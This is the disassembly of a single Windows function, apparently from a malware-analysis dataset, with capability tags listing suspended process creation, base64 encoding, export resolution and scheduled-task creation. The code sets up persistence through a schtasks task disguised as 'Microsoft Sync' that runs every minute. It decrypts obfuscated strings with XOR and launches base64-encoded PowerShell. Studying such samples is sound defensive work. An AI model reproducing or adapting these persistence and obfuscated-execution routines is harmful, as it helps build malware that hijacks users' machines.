Function at 0x140003cb8
Capabilities:
Create process on windows
Create process suspended
Encode data using base64
Resolve function by parsing pe exports
Schedule task via schtasks

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x918
movaps xmmword [rsp + 0x900], xmm6
mov r8, rdx
mov rdx, rcx
lea rsi, [rsp + 0x100]
mov rcx, rsi
call fcn.14001c463
lea rax, [0x140023018]
lea rcx, [rsp + 0x748]
mov qword [rcx], rax
lea r12, [rsp + 0x130]
mov qword [r12], rsi
lea rax, [0x140012d0f]
mov qword [r12 + 8], rax
mov qword [r12 + 0x10], rcx
lea rax, str.schtasks.exe__Create__SC_MINUTE__MO_1__TN__Microsoft_Sync___TR________F
lea rdi, [rsp + 0x2a0]
mov qword [rdi], rax
mov qword [rdi + 8], 3
and qword [rdi + 0x20], 0
lea rax, [0x14001cb3f]
mov qword [r12 + 0x18], rax
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], 2
lea rbx, [rsp + 0x878]
mov rcx, rbx
mov rdx, rdi
call fcn.140001aca
xorps xmm6, xmm6
movaps xmmword [rdi + 0x50], xmm6
movaps xmmword [rdi + 0x40], xmm6
movaps xmmword [rdi + 0x30], xmm6
movaps xmmword [rdi + 0x20], xmm6
movaps xmmword [rdi + 0x10], xmm6
movaps xmmword [rdi], xmm6
and qword [rdi + 0x60], 0
lea rsi, [rsp + 0x6a0]
and qword [rsi + 0x10], 0
movaps xmmword [rsi], xmm6
mov dword [rdi], 0x68
mov r14, qword [rbx]
mov r15, qword [rbx + 8]
mov rax, qword [rbx + 0x10]
add rax, r14
mov qword [r12], r14
mov qword [r12 + 8], rax
and word [r12 + 0x10], 0
mov dword [r12 + 0x18], 1
lea rbx, [rsp + 0x748]
lea rdx, [rsp + 0x130]
mov rcx, rbx
call fcn.1400019a5
mov rcx, r14
mov rdx, r15
call fcn.140008f6b
mov rbx, qword [rbx]
mov dword [rdi + 0x3c], 0x80000
and word [rdi + 0x40], 0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rdi
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8000400
and dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_CreateProcessW
test eax, eax
je 0x140003e3a
mov rcx, qword [rsp + 0x6a0]
call fcn.140020688
mov rcx, qword [rsp + 0x6a8]
call fcn.140020688
mov rdx, qword [rsp + 0x750]
mov rcx, rbx
call fcn.1400150e9
cmp qword [0x14002d030], 0
je 0x140004ead
call fcn.1400108c7
mov rdi, rax
xorps xmm0, xmm0
lea rbx, [rsp + 0x2a0]
movups xmmword [rbx + 8], xmm0
mov qword [rbx], 1
mov esi, 0xa
mov edx, 0xa
mov rcx, rbx
call fcn.140008c00
mov r14, rdi
add r14, 0x10
lea r15, [rsp + 0x132]
lea r13, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789a_tuple_of_size_2
lea r12, [rsp + 0x130]
mov rax, qword [rdi + 0x110]
cmp rax, 0x40
jb 0x140003ece
mov rcx, r14
xor edx, edx
call fcn.14000da26
mov rax, qword [rdi + 0x110]
cmp rax, 0x40
jae case.0x1400043f8.0
mov ecx, dword [rdi + rax*4 + 0x10]
mov rdx, rcx
shr rdx, 0x1b
inc rax
mov qword [rdi + 0x110], rax
cmp edx, 0x1e
ja 0x140003ead
shr rcx, 0x1a
mov dl, byte [rcx + r13]
dec rsi
test dl, dl
js 0x140003f01
mov rcx, rbx
call fcn.140012fed
jmp 0x140003f32
and dword [rsp + 0x130], 0
mov eax, edx
shr al, 6
or al, 0xc0
mov byte [rsp + 0x130], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x131], dl
mov rcx, rbx
mov rdx, r12
mov r8, r15
call fcn.140008bbd
test rsi, rsi
jne 0x140003ea6
mov rcx, rdi
call fcn.14000fcfb
mov rax, qword [rsp + 0x2b0]
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x2a0]
movaps xmmword [rcx], xmm0
lea rdx, str..exeprogram_not_found
lea r8, [0x140027bbc]
call fcn.140008bbd
lea rax, [rsp + 0x748]
mov qword [rax], 2
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov r8d, 0x200
mov r15d, 2
xor r14d, r14d
mov esi, 0xffffffff
xor edi, edi
cmp r8, 0x201
jae 0x140003fbc
lea r12, [rsp + 0x2a0]
mov ebx, 0x200
mov r13, r8
jmp 0x140003ffc
sub r8, rdi
lea rcx, [rsp + 0x748]
mov rdx, r8
call fcn.1400146a0
mov r15, qword [rsp + 0x748]
mov r14, qword [rsp + 0x750]
cmp r14, rsi
mov edi, 0xffffffff
cmovb rdi, r14
mov qword [rsp + 0x758], rdi
mov r12, r15
mov rbx, rdi
mov r13, rdi
xor ecx, ecx
call sub.kernel32.dll_SetLastError
mov rax, qword [0x140023060]
mov ecx, r13d
mov rdx, r12
call rax
mov ebp, eax
test eax, eax
jne 0x140004025
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x140004f59
mov r8d, ebp
cmp r13, r8
jne 0x14000404d
call sub.kernel32.dll_GetLastError
cmp eax, 0x7a
jne case.0x1400043f8.0
add r13, r13
cmp r13, rsi
cmovae r13, rsi
mov r8, r13
jmp 0x140003fa1
jb 0x140003fa1
cmp rbx, r8
jb case.0x1400043f8.0
lea rsi, [rsp + 0x130]
mov rcx, rsi
mov rdx, r12
call fcn.1400152c3
mov bl, byte [rsi + 0x18]
mov rcx, r15
mov rdx, r14
call fcn.1400150e9
cmp bl, 2
je case.0x1400043f8.0
mov r14, qword [rsp + 0x130]
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x60], rax
mov r12, qword [rsp + 0x140]
mov r13, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x58], rax
mov rsi, qword [rsp + 0xe0]
mov rcx, r12
call fcn.140008f75
mov r15, rax
mov rbp, rdx
mov rcx, rax
mov rdx, r14
mov r8, r12
call sub.msvcrt.dll_memcpy
lea rbx, [rsp + 0x2a0]
mov qword [rbx], r15
mov qword [rbx + 8], rbp
mov qword [rbx + 0x10], r12
mov byte [rbx + 0x18], 0
mov rcx, rbx
mov rdx, r13
mov r8, rsi
call fcn.14001a2a0
mov rdi, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rsp + 0x68], rax
mov rsi, qword [rbx + 0x10]
mov rcx, r13
mov rdx, qword [rsp + 0x58]
call fcn.140008f6b
mov rcx, r14
mov rdx, qword [rsp + 0x60]
call fcn.140008f6b
lea r14, [rsp + 0xe8]
mov rcx, r14
mov qword [rsp + 0x60], rdi
mov rdx, rdi
mov r8, rsi
call fcn.14001c463
mov rax, qword [0x140023018]
mov rcx, qword [0x140023028]
mov r8, qword [r14]
mov rdx, qword [r14 + 0x10]
test r8, r8
jne 0x140004168
mov r8, qword [rsp + 0xf0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x88], rdx
lea rax, [0x140024126]
lea rsi, [rsp + 0x2a0]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x14e87f074297f34a
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140001b58
mov rbx, rax
xor edi, edi
mov r8d, 0x12c
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [0x140024278]
cmp rdi, 0x128
jae 0x1400041e7
mov rcx, qword [rdi + rax]
xor rcx, qword [rbx + rdi]
mov qword [rsp + rdi + 0x2a0], rcx
add rdi, 8
jmp 0x1400041c8
mov ecx, 0x128
cmp rcx, 0x12b
ja 0x14000421b
movzx edx, byte [rcx + rax + 2]
shl edx, 0x10
movzx r8d, word [rcx + rax]
add edx, r8d
add edx, 0x8a000000
xor edx, dword [rbx + rcx]
mov dword [rsp + rcx + 0x2a0], edx
add rcx, 4
jmp 0x1400041ec
movzx eax, byte [rbx + 0x12e]
movzx ecx, word [rbx + 0x12c]
xor ecx, 0xb359
lea rbx, [rsp + 0x2a0]
mov word [rbx + 0x12c], cx
xor al, 0xea
mov byte [rbx + 0x12e], al
mov r8d, 0x12f
lea rsi, [rsp + 0x748]
mov rcx, rsi
mov rdx, rbx
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], 0x12f
lea rax, [0x14001f2da]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0x926f19abb95d901d
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.140001b3d
xorps xmm0, xmm0
movaps xmmword [rbx + 0x20], xmm0
movaps xmmword [rbx + 0x10], xmm0
movaps xmmword [rbx], xmm0
xor ecx, ecx
lea rdx, [0x1400243a7]
cmp rcx, 0x2f
ja 0x1400042c8
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x2a0], r8
add rcx, 8
jmp 0x1400042ac
movzx eax, word [rax + 0x30]
xor eax, 0x9e99
movaps xmm0, xmmword [rsp + 0x2a0]
movaps xmm1, xmmword [rsp + 0x2b0]
movaps xmm2, xmmword [rsp + 0x2c0]
lea rcx, [rsp + 0x8c0]
movaps xmmword [rcx], xmm0
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx + 0x20], xmm2
mov word [rcx + 0x30], ax
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xa8], 0x32
mov rax, qword [0x14002d068]
test rax, rax
jne 0x1400043ea
mov ecx, 1
xor eax, eax
lock cmpxchg qword [0x14002d068], rcx
jne 0x1400043ea
lea rax, [0x14001f251]
mov qword [rsp + 0x2a0], rax
mov rcx, qword [rsp + 0x2a0]
movabs rax, 0xa88e1bfdb5e904b4
mov qword [rsp + 0x2a0], rax
mov rdx, qword [rsp + 0x2a0]
call fcn.14000f91f
and dword [rsp + 0x2a3], 0
and dword [rsp + 0x2a0], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x140026023]
test r8b, 1
je 0x140004ede
movzx r8d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r10, rcx
or r10, 3
mov r11, rcx
or r11, 2
movzx r11d, byte [r11 + rdx]
movzx r10d, byte [r10 + rdx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rcx]
mov dword [rsp + rcx + 0x2a0], r9d
mov ecx, 4
xor r8d, r8d
jmp 0x14000438c
lea rcx, [0x140004fd4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
pause
mov rax, qword [0x14002d068]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdi, qword [0x14002d070]
mov r14, qword [0x14002d080]
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0xb8], r14
lea rax, [0x14001bdf8]
lea rsi, [rsp + 0x2a0]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xcbd9c96ec274fa38
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140001b86
mov rdi, rax
xor ebx, ebx
mov r8d, 0x98
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [0x1400243d9]
cmp rbx, 0x97
ja 0x14000448f
mov rcx, qword [rbx + rax]
xor rcx, qword [rdi + rbx]
mov qword [rsp + rbx + 0x2a0], rcx
add rbx, 8
jmp 0x140004470
movzx eax, word [rdi + 0x98]
xor eax, 0x2e28
lea rsi, [rsp + 0x2a0]
mov word [rsi + 0x98], ax
mov r8d, 0x9a
lea rdi, [rsp + 0x6a0]
mov rcx, rdi
mov rdx, rsi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], 0x9a
lea rax, [0x140016ca5]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x462319cb86a30171
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140001b26
mov rdi, rax
xor esi, esi
lea rcx, [rsp + 0x2a0]
mov r8d, 0x150
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [0x140024473]
cmp rsi, 0x14f
ja 0x140004539
mov rcx, qword [rsi + rax]
xor rcx, qword [rdi + rsi]
mov qword [rsp + rsi + 0x2a0], rcx
add rsi, 8
jmp 0x14000451a
mov al, byte [rdi + 0x150]
xor al, 0x3b
lea rdi, [rsp + 0x2a0]
mov byte [rdi + 0x150], al
mov r8d, 0x151
lea r14, [rsp + 0x130]
mov rcx, r14
mov rdx, rdi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x290]
mov qword [rcx], r14
mov qword [rcx + 8], 0x151
lea rax, [rsp + 0x90]
mov qword [rdi], rax
lea rax, [0x14000bd1f]
mov qword [rdi + 8], rax
lea rdx, [0x14002d030]
mov qword [rdi + 0x10], rdx
lea rdx, [0x140001b0a]
mov qword [rdi + 0x18], rdx
lea rdx, [0x14002d048]
mov qword [rdi + 0x20], rdx
lea rdx, [0x14000bd12]
mov qword [rdi + 0x28], rdx
lea rdx, [rsp + 0xa0]
mov qword [rdi + 0x30], rdx
mov qword [rdi + 0x38], rax
lea rdx, [rsp + 0xb0]
mov qword [rdi + 0x40], rdx
mov qword [rdi + 0x48], rax
lea rdx, [rsp + 0xc0]
mov qword [rdi + 0x50], rdx
mov qword [rdi + 0x58], rax
lea rdx, [rsp + 0x80]
mov qword [rdi + 0x60], rdx
mov qword [rdi + 0x68], rax
mov qword [rdi + 0x70], rcx
mov qword [rdi + 0x78], rax
lea rcx, [0x1400241d8]
lea rdx, [rsp + 0x890]
mov qword [rdx], rcx
lea rcx, [rsp + 0x70]
mov qword [rdx + 8], 0xa
and qword [rdx + 0x20], 0
mov qword [rdi + 0x80], rcx
mov qword [rdi + 0x88], rax
mov qword [rdx + 0x10], rdi
mov qword [rdx + 0x18], 9
lea rsi, [rsp + 0x118]
mov rcx, rsi
call fcn.140001aca
mov rdi, qword [rsi]
mov rbx, qword [rsi + 0x10]
mov qword [rsp + 0x130], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x138], xmm0
lea rax, [0x140025d18]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea rsi, [rsp + 0x2a0]
mov rcx, rsi
mov r8, rdi
mov r9, rbx
call fcn.14000d93b
cmp qword [rsi + 8], 0
jne 0x140004f6d
mov r15, qword [rsp + 0x130]
mov r8, qword [rsp + 0x138]
mov rdi, qword [rsp + 0x140]
mov ecx, 3
mov rax, rdi
xor edx, edx
div rcx
mov r14, rdx
mov r13, rax
shl r13, 2
test rdx, rdx
mov qword [rsp + 0x58], r8
je 0x1400046fc
mov rcx, rdi
shr rcx, 0x3e
add r13, 4
setb al
cmp ecx, 2
ja case.0x1400043f8.0
test al, al
je 0x14000470c
jmp case.0x1400043f8.0
mov rax, rdi
shr rax, 0x3e
cmp eax, 3
jae case.0x1400043f8.0
mov rcx, r13
mov dl, 1
call fcn.140008f04
mov rbx, rax
mov rbp, rdx
xor eax, eax
mov rdx, rdi
mov ecx, 0
sub rdx, 0x1a
cmovb rdx, rax
jbe 0x140004a19
mov eax, 0x20
xor ecx, ecx
lea r8, [0x1400245c4]
lea r9, [rcx + 0x1a]
cmp r9, rdi
ja case.0x1400043f8.0
test rax, rax
je case.0x1400043f8.0
cmp rax, r13
ja case.0x1400043f8.0
mov r9, qword [r15 + rcx]
bswap r9
mov r10, r9
shr r10, 0x3a
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x20], r10b
mov r10, r9
shr r10, 0x34
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x1f], r10b
mov r10, r9
shr r10, 0x2e
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x1e], r10b
mov r10, r9
shr r10, 0x28
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x1d], r10b
mov r10, r9
shr r10, 0x22
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x1c], r10b
mov r10, r9
shr r10, 0x1c
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x1b], r10b
mov r10d, r9d
shr r10d, 0x16
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x1a], r10b
shr r9d, 0x10
and r9d, 0x3f
mov r9b, byte [r9 + r8 + 3]
mov byte [rbx + rax - 0x19], r9b
mov r9, qword [r15 + rcx + 6]
bswap r9
mov r10, r9
shr r10, 0x3a
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x18], r10b
mov r10, r9
shr r10, 0x34
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x17], r10b
mov r10, r9
shr r10, 0x2e
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x16], r10b
mov r10, r9
shr r10, 0x28
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x15], r10b
mov r10, r9
shr r10, 0x22
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x14], r10b
mov r10, r9
shr r10, 0x1c
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x13], r10b
mov r10d, r9d
shr r10d, 0x16
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x12], r10b
shr r9d, 0x10
and r9d, 0x3f
mov r9b, byte [r9 + r8 + 3]
mov byte [rbx + rax - 0x11], r9b
mov r9, qword [r15 + rcx + 0xc]
bswap r9
mov r10, r9
shr r10, 0x3a
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x10], r10b
mov r10, r9
shr r10, 0x34
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0xf], r10b
mov r10, r9
shr r10, 0x2e
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0xe], r10b
mov r10, r9
shr r10, 0x28
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0xd], r10b
mov r10, r9
shr r10, 0x22
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0xc], r10b
mov r10, r9
shr r10, 0x1c
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0xb], r10b
mov r10d, r9d
shr r10d, 0x16
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0xa], r10b
shr r9d, 0x10
and r9d, 0x3f
mov r9b, byte [r9 + r8 + 3]
mov byte [rbx + rax - 9], r9b
mov r9, qword [r15 + rcx + 0x12]
bswap r9
mov r10, r9
shr r10, 0x3a
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 8], r10b
mov r10, r9
shr r10, 0x34
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 7], r10b
mov r10, r9
shr r10, 0x2e
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 6], r10b
mov r10, r9
shr r10, 0x28
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 5], r10b
mov r10, r9
shr r10, 0x22
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 4], r10b
mov r10, r9
shr r10, 0x1c
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 3], r10b
mov r10d, r9d
shr r10d, 0x16
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 2], r10b
shr r9d, 0x10
and r9d, 0x3f
mov r9b, byte [r9 + r8 + 3]
mov byte [rbx + rax - 1], r9b
add rcx, 0x18
add rax, 0x20
cmp rcx, rdx
jbe 0x140004742
add rax, 0xffffffffffffffe0
mov r8, rdi
sub r8, r14
lea rdx, [0x1400245c4]
cmp rcx, r8
jae 0x140004ad3
cmp rcx, 0xfffffffffffffffc
ja case.0x1400043f8.0
lea r9, [rcx + 3]
cmp r9, rdi
ja case.0x1400043f8.0
cmp rax, 0xfffffffffffffffb
ja case.0x1400043f8.0
lea r10, [rax + 4]
cmp r10, r13
ja case.0x1400043f8.0
movzx r11d, byte [r15 + rcx]
mov rsi, r11
shr rsi, 2
mov sil, byte [rsi + rdx + 3]
mov byte [rbx + rax], sil
mov r12b, byte [r15 + rcx + 1]
shl r11b, 4
mov esi, r12d
shr sil, 4
or sil, r11b
movzx r11d, sil
and r11d, 0x3f
mov r11b, byte [r11 + rdx + 3]
mov byte [rbx + rax + 1], r11b
movzx ecx, byte [r15 + rcx + 2]
shl r12b, 2
mov r11d, ecx
shr r11b, 6
or r11b, r12b
movzx r11d, r11b
and r11d, 0x3f
mov r11b, byte [r11 + rdx + 3]
mov byte [rbx + rax + 2], r11b
and ecx, 0x3f
mov cl, byte [rcx + rdx + 3]
mov byte [rbx + rax + 3], cl
mov rax, r10
mov rcx, r9
jmp 0x140004a26
cmp r14, 1
je 0x140004b57
cmp r14, 2
jne 0x140004b9c
cmp rax, r13
jae case.0x1400043f8.0
movzx r9d, byte [r15 + r8]
mov rcx, r9
shr rcx, 2
mov cl, byte [rcx + rdx + 3]
mov byte [rbx + rax], cl
inc r8
cmp r8, rdi
jae case.0x1400043f8.0
lea rcx, [rax + 1]
cmp rcx, r13
jae case.0x1400043f8.0
mov cl, byte [r15 + r8]
mov r8d, ecx
shr r8b, 4
shl r9b, 4
or r9b, r8b
movzx r8d, r9b
and r8d, 0x3f
mov r8b, byte [r8 + rdx + 3]
mov byte [rbx + rax + 1], r8b
lea r8, [rax + 2]
cmp r8, r13
jae case.0x1400043f8.0
shl cl, 2
and cl, 0x3c
mov r9d, 3
jmp 0x140004b8e
cmp rax, r13
jae case.0x1400043f8.0
movzx ecx, byte [r15 + r8]
mov r8, rcx
shr r8, 2
mov r8b, byte [r8 + rdx + 3]
mov byte [rbx + rax], r8b
lea r8, [rax + 1]
cmp r8, r13
jae case.0x1400043f8.0
shl cl, 4
and cl, 0x30
mov r9d, 2
movzx ecx, cl
mov cl, byte [rcx + rdx + 3]
mov byte [rbx + r8], cl
add rax, r9
mov rcx, r13
sub rcx, rax
jb case.0x1400043f8.0
mov rdx, rbx
add rdx, rax
mov r8d, eax
neg r8d
and r8d, 3
xor r9d, r9d
cmp r8, r9
je 0x140004bd3
cmp rcx, r9
je case.0x1400043f8.0
mov byte [rdx + r9], 0x3d
inc r9
jmp 0x140004bbb
add rax, r8
jb case.0x1400043f8.0
lea rsi, [rsp + 0x2a0]
mov rcx, rsi
mov rdx, rbx
mov r8, r13
call fcn.14000b0d7
cmp qword [rsi], 0
je 0x140004c06
cmp byte [rsp + 0x2b0], 2
jne case.0x1400043f8.0
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], rbp
mov qword [rsp + 0x140], r13
lea rax, str.powershell__EncodedCommand
lea rdi, [rsp + 0x2a0]
mov qword [rdi], rax
mov eax, 1
mov qword [rdi + 8], rax
and qword [rdi + 0x20], 0
lea rcx, [rsp + 0x130]
mov qword [rsp + 0x6a0], rcx
lea rcx, [0x140001b0a]
mov qword [rsp + 0x6a8], rcx
lea rcx, [rsp + 0x6a0]
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], rax
lea rcx, [rsp + 0x748]
mov rdx, rdi
call fcn.140001aca
mov rcx, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x138]
call fcn.140008f6b
mov rcx, r15
mov rdx, qword [rsp + 0x58]
call fcn.140008f6b
mov rcx, qword [rsp + 0x118]
mov rdx, qword [rsp + 0x120]
call fcn.140008f6b
lea rax, [0x14001b596]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0xd229c3f15ad02475
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.140001bb5
xorps xmm0, xmm0
movups xmmword [rdi + 0x1c], xmm0
movaps xmmword [rdi + 0x10], xmm0
movaps xmmword [rdi], xmm0
xor edx, edx
lea rcx, [0x1400247c5]
cmp rdx, 0x28
jae 0x140004d09
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x2a0], r8
add rdx, 8
jmp 0x140004ced
mov edx, 0x28
cmp rdx, 0x2b
ja 0x140004d3f
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xfd000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x2a0], r8d
add rdx, 4
jmp 0x140004d0e
mov al, byte [rax + 0x2c]
xor al, 0x4d
mov byte [rsp + 0x2cc], al
movaps xmm0, xmmword [rsp + 0x2a0]
movaps xmm1, xmmword [rsp + 0x2b0]
lea rcx, [rsp + 0x130]
movaps xmmword [rcx], xmm0
movaps xmmword [rcx + 0x10], xmm1
mov rax, qword [rsp + 0x2bd]
mov qword [rcx + 0x1d], rax
mov eax, dword [rsp + 0x2c5]
mov dword [rcx + 0x25], eax
movzx eax, word [rsp + 0x2c9]
mov word [rcx + 0x29], ax
mov al, byte [rsp + 0x2cb]
mov byte [rcx + 0x2b], al
mov al, byte [rsp + 0x2cc]
mov byte [rcx + 0x2c], al
mov rsi, qword [rsp + 0x748]
mov rbx, qword [rsp + 0x758]
mov edx, 0x2d
mov r8, rsi
mov r9, rbx
call fcn.1400015e0
lea rax, [0x14001d185]
mov qword [rsp + 0x2a0], rax
mov rcx, qword [rsp + 0x2a0]
movabs rax, 0x232c4da8512b0dae
mov qword [rsp + 0x2a0], rax
mov rdx, qword [rsp + 0x2a0]
call fcn.140001be2
xorps xmm0, xmm0
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmmword [rsp + 0x2b0], xmm0
movaps xmmword [rsp + 0x2a0], xmm0
xor ecx, ecx
lea rdx, [0x1400247f2]
cmp rcx, 0x2f
ja 0x140004e36
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x2a0], r8
add rcx, 8
jmp 0x140004e1a
mov al, byte [rax + 0x30]
xor al, 0xa2
movaps xmm0, xmmword [rsp + 0x2a0]
movaps xmm1, xmmword [rsp + 0x2b0]
movaps xmm2, xmmword [rsp + 0x2c0]
lea rcx, [rsp + 0x130]
movaps xmmword [rcx], xmm0
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx + 0x20], xmm2
mov byte [rcx + 0x30], al
mov edx, 0x31
mov r8, rsi
mov r9, rbx
call fcn.1400015e0
mov rdx, qword [rsp + 0x750]
mov rcx, rsi
call fcn.140008f6b
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xf0]
call fcn.14000db00
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
call fcn.140008f6b
mov rcx, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x108]
call fcn.14000db00
movaps xmm6, xmmword [rsp + 0x900]
add rsp, 0x918
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx ebp, byte [rax + 6]
movzx r15d, word [rax + 4]
xor r15d, 0xf051
xor bpl, 0x4e
mov r12d, dword [rsp + 0x2a0]
mov r14d, 7
mov ecx, 7
call fcn.140008f75
mov rdi, rax
mov rsi, rdx
mov byte [rax + 6], bpl
mov word [rax + 4], r15w
mov dword [rax], r12d
mov rcx, qword [0x14002d070]
mov rdx, qword [0x14002d078]
call fcn.14000db00
mov qword [0x14002d070], rdi
mov qword [0x14002d078], rsi
mov qword [0x14002d080], 7
mov eax, 2
xchg qword [0x14002d068], rax
jmp 0x14000441a
call fcn.140014b12
mov rcx, r15
mov rdx, r14
call fcn.1400150e9
ud2
mov r8, qword [rsp + 0x2a0]
mov r9, qword [rsp + 0x2b0]
cmp r9, r8
jae 0x140004f8f
mov rcx, rdi
mov rdx, rbx
call fcn.14000bb6e
ud2
test r8, r8
jne 0x140004fa7
test r9, r9
je 0x140004fbb
cmp r9, rbx
jae 0x140004fb9
cmp byte [rdi + r9], 0xbf
jle 0x140004f82
jmp 0x140004fbb
cmp r8, rbx
jae 0x140004fb5
cmp byte [rdi + r8], 0xc0
jl 0x140004f82
jmp 0x140004f94
jne 0x140004f82
jmp 0x140004f94
jne 0x140004f82
mov rcx, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x138]
call fcn.140008f6b
jmp case.0x1400043f8.0